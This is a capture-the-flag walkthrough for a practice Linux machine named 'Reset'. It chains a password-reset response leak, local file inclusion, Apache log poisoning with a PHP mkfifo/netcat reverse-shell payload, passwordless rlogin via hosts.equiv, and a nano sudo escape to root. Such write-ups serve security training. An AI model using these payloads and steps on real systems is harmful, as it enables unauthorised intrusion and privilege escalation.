Introduction
Reset is a Linux machine that chains together a password reset vulnerability, a log poisoning attack, and several privilege escalation misconfigurations. Each step feeds cleanly into the next - it’s an excellent box for learning how web vulnerabilities can lead to full system compromise. The path to root:
- Enumeration → Nmap reveals SSH, Apache, and Rservices (ports 512-514)
- Password reset abuse → the
/reset_password.phpendpoint returns the new password in its response - Admin dashboard LFI → the
fileparameter is vulnerable to Local File Inclusion - Log poisoning → inject a PHP reverse shell into Apache’s
access.logvia theUser-Agentheader, then trigger it via LFI - Reverse shell as
www-data→ user flag is in/home/sadm/user.txt - Lateral movement via Rservices →
/etc/hosts.equivtrusts thesadmuser →rloginin without a password - Privilege escalation via tmux + nano → a detached
tmuxsession leakssadm’ssudopassword → usenano’s execute-command feature to spawn a root shell
Key Concepts
What is Local File Inclusion (LFI)? LFI is a vulnerability where a web application uses user-supplied input to read files from the server’s filesystem without properly validating it. If you can make the application read /var/log/apache2/access.log instead of the intended syslog file, you have LFI.
What is Log Poisoning? Apache logs every request made to the server, including the User-Agent header the browser sends. If that log file is readable via LFI, you can send a request with a PHP payload in the User-Agent header, which gets written into the log. When the log file is then loaded via LFI, the PHP code executes - giving you Remote Code Execution.
What are Rservices? Rservices (rsh, rlogin, rcp) are old Unix remote-access tools that predate SSH. They support a “trusted hosts” model via /etc/hosts.equiv - if a user is listed there with a +, they can log in from any machine without a password. These services are considered insecure and shouldn’t be running on modern systems.
What is /etc/hosts.equiv? A configuration file that defines which remote users and hosts are “trusted” by the system’s Rservices. A + before a username means that user is trusted from any host; a - means they’re explicitly blocked. It’s the key that lets us pivot from www-data to sadm.
What is tmux? A terminal multiplexer - it lets you run terminal sessions that persist even after you disconnect. A detached tmux session keeps running in the background. Here, the sadm user has a background session that continuously runs sudo -S, which means it passes the password via stdin - and we can see it when we attach to the session.
What is the nano GTFOBin? GTFOBins is a list of Unix binaries that can be abused to escape restricted environments or escalate privileges. nano (a text editor) has a built-in “execute command” feature (Ctrl+R, Ctrl+X). If sudo allows you to run nano, you can use that feature to run arbitrary commands as root - without ever needing a separate exploit.
Enumeration
Nmap
ports=$(nmap --open <TARGET> | grep open | cut -d ' ' -f 1 | cut -d '/' -f 1 | paste -sd,)
nmap <TARGET> -p $ports -sV -sC -Pn --disable-arp-ping
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH - OpenSSH 8.9p1 | Standard remote access |
| 80 | HTTP - Apache 2.4.52 | Web application, title: “Admin Login” |
| 512 | rexecd | Rservices - remote execution |
| 513 | rlogin | Rservices - remote login |
| 514 | rshd | Rservices - remote shell |
Two things stand out immediately: an “Admin Login” web page, and Rservices on ports 512-514 (unusual on a modern system). Start with port 80.
Web Enumeration: Port 80
Visiting http://<TARGET> presents an Admin Login form. At the bottom there’s a Forgot Password? link. Click it - it opens a “Reset Password” modal that asks for a username.
Why try
adminfirst? The page title says “Admin Login”, so there’s almost certainly anadminaccount. It’s always worth testing the most obvious username before trying anything else.
Foothold: Abusing the Password Reset
Step 1: Trigger the password reset
Open your browser’s Developer Tools (F12) and go to the Network tab before clicking anything - this lets you inspect every request the page makes.
Type admin in the username field and click Send Reset Email.
Step 2: Read the server’s response
Click on the reset_password.php entry in the Network tab, then switch to the Response tab.
The server returns a JSON object that includes the new password in plaintext:
{
"username": "admin",
"new_password": "9cc64f55",
"timestamp": "2025-05-30 16:43:30"
}
Why is this a vulnerability? The server should only send a password reset link to a registered email. Returning the new password directly in the HTTP response means anyone who can intercept or inspect the response - including any logged-in user - can steal credentials. This is a classic Insecure Direct Object Reference (IDOR) / broken authentication issue.
Step 3: Log into the Admin Dashboard
Use admin / 9cc64f55 (your reset password will differ) to log in. The dashboard shows a Select Log File dropdown with syslog and auth.log options, and a View Logs button.
Local File Inclusion: Reading Arbitrary Files
Intercept the request with Burp Suite
Open Burp Suite and configure your browser to proxy through it. Click View Logs and intercept the POST request to dashboard.php. The body looks like:
file=%2Fvar%2Flog%2Fsyslog
The %2F characters are URL-encoded forward slashes, so this is really file=/var/log/syslog. The application is directly passing the filename to the server to read.
Test for LFI: Read the Apache access log
Change the file parameter to the Apache access log path:
file=%2Fvar%2Flog%2Fapache2%2Faccess.log
Forward the request. The response now shows the contents of /var/log/apache2/access.log - confirming LFI. You can also see your own previous requests recorded there, including the User-Agent strings.
Why does reading the access log matter? Because Apache logs the
User-Agentheader verbatim. If we put PHP code in ourUser-Agent, it gets written into the log file. When we then load the log file via LFI, the web server’s PHP engine executes our code. This is log poisoning.
Log Poisoning: Remote Code Execution
Step 1: Start a Netcat listener
On your attacker machine, start a listener on port 9090:
nc -lvnp 9090
Step 2: Poison the log
Send a request to the target with a PHP reverse shell payload in the User-Agent header. In Burp Suite, modify a request to dashboard.php (or any page on the server) so the User-Agent becomes:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 9090 >/tmp/f'); ?>
Replace <YOUR_IP> with your own HTB VPN IP (check with ip a on your tun0 interface).
What does this payload do? It creates a named pipe (
mkfifo) which connects your Netcat listener to a/bin/shshell on the target. The result is a fully interactive reverse shell - your listener gets the shell, the target connects back to you.
Step 3: Trigger the payload via LFI
Now send another request to dashboard.php with the file parameter set back to the poisoned log:
file=%2Fvar%2Flog%2Fapache2%2Faccess.log
The PHP code embedded in the log executes and the shell connects back to your listener:
$ nc -lvnp 9090
listening on [any] 9090 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 35586
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@reset:/var/www/html$ export TERM=xterm
www-data@reset:/var/www/html$ whoami
www-data
Step 4: Grab the user flag
cat /home/sadm/user.txt
Lateral Movement: Rservices Abuse → sadm
Enumerate Rservices configuration
As www-data, check the /etc/hosts.equiv file:
www-data@reset:/var/www/html$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted"
# r-command access to your system.
- root
- local
+ sadm
The + sadm line means the user sadm is trusted from any remote host - no password needed to log in as sadm via rlogin.
What do the
+and-signs mean? In/etc/hosts.equiv, a+prefix grants passwordless access, and-explicitly denies it. The entry+ sadmsays: thesadmuser canrloginfrom anywhere without authenticating. This is a severe misconfiguration.
Create a local sadm user on your attacker machine
rlogin checks that a user with the same name exists on the connecting machine. We need to create a local sadm user and then log in as them:
sudo useradd sadm
sudo passwd sadm # set any password
su sadm # switch to sadm locally
Log in as sadm via rlogin
rlogin sadm@<TARGET>
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-136-generic x86_64)
...
sadm@reset:~$
You’re now in as sadm - no password required on the target.
Privilege Escalation: tmux Session Leaks sudo Password → Root via nano
Find the detached tmux session
Enumerate running processes:
sadm@reset:~$ ps aux
...
sadm 1001 0.0 0.1 8764 3972 ? Ss 17:38 0:00 tmux new-session -d -s sadm_session
...
There’s a detached tmux session called sadm_session running as sadm. Attach to it:
tmux attach -t sadm_session
The session is actively running sudo -S nano /etc/firewall.sh and its output reveals:
User sadm may run the following commands on reset:
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log
And critically - the command being run shows the password being piped in:
echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
sadm’s sudo password: 7lE2PAfVHfjz4HpE
Why does this leak the password? The
-Sflag tellssudoto read the password from stdin. Theechocommand pipes the password in directly. In a normal terminal this would be hidden, but because the tmux session is scripted and persistent, we can see the full command just by attaching to it.
Abuse nano to spawn a root shell
sadm is allowed to run nano on /etc/firewall.sh with sudo. nano has a built-in command execution feature that we can abuse:
sudo nano /etc/firewall.sh
Once inside nano:
- Press
Ctrl+RthenCtrl+X- this opens a “Command to execute” prompt - Type the following and press Enter:
reset; bash 1>&0 2>&0
This spawns a bash shell inside the nano process, which is already running as root:
root@reset:/home/sadm# whoami
root
What does
reset; bash 1>&0 2>&0do?resetclears the terminal state (necessary so the shell renders correctly).bash 1>&0 2>&0launches bash and redirects both stdout and stderr to the nano process’s file descriptor 0 (which is connected to your terminal), giving you a fully interactive root shell.
Grab the root flag
cat /root/root_279e22f8.txt
Summary
nmap → port 80 (Apache "Admin Login"), ports 512-514 (Rservices)
↓
Forgot Password? → POST /reset_password.php → server returns new password in response
↓
Login as admin → Admin Dashboard → View Logs feature
↓
Burp Suite → POST /dashboard.php → file= parameter → LFI confirmed
(reads /var/log/apache2/access.log)
↓
Log Poisoning → set User-Agent to PHP reverse shell payload
↓
nc -lvnp 9090 → trigger LFI → access.log executed → reverse shell as www-data
→ USER FLAG (/home/sadm/user.txt)
↓
cat /etc/hosts.equiv → + sadm (trusted from any host, no password)
↓
attacker: useradd sadm → su sadm → rlogin sadm@target
sadm@reset:~$ (lateral movement complete)
↓
ps aux → tmux session "sadm_session" running
tmux attach -t sadm_session → reveals: echo 7lE2PAfVHfjz4HpE | sudo -S nano ...
↓
sudo nano /etc/firewall.sh → Ctrl+R → Ctrl+X → "reset; bash 1>&0 2>&0"
root@reset:~# → ROOT FLAG (/root/root_279e22f8.txt)
Tools Used
| Tool | What it does | How to get it |
|---|---|---|
| nmap | Network port scanner and service fingerprinter | sudo apt install nmap |
| Burp Suite | HTTP proxy for intercepting and modifying web requests | portswigger.net (Community Edition is free) |
| Netcat (nc) | Sets up listeners to catch reverse shells | Built into Kali (sudo apt install netcat-traditional) |
| rlogin | Rservices client for passwordless remote login | sudo apt install rsh-client |
| tmux | Terminal multiplexer - also used here to access the target’s background session | sudo apt install tmux |
| nano | Text editor with a built-in command execute feature abused for privesc | Built into most Linux systems |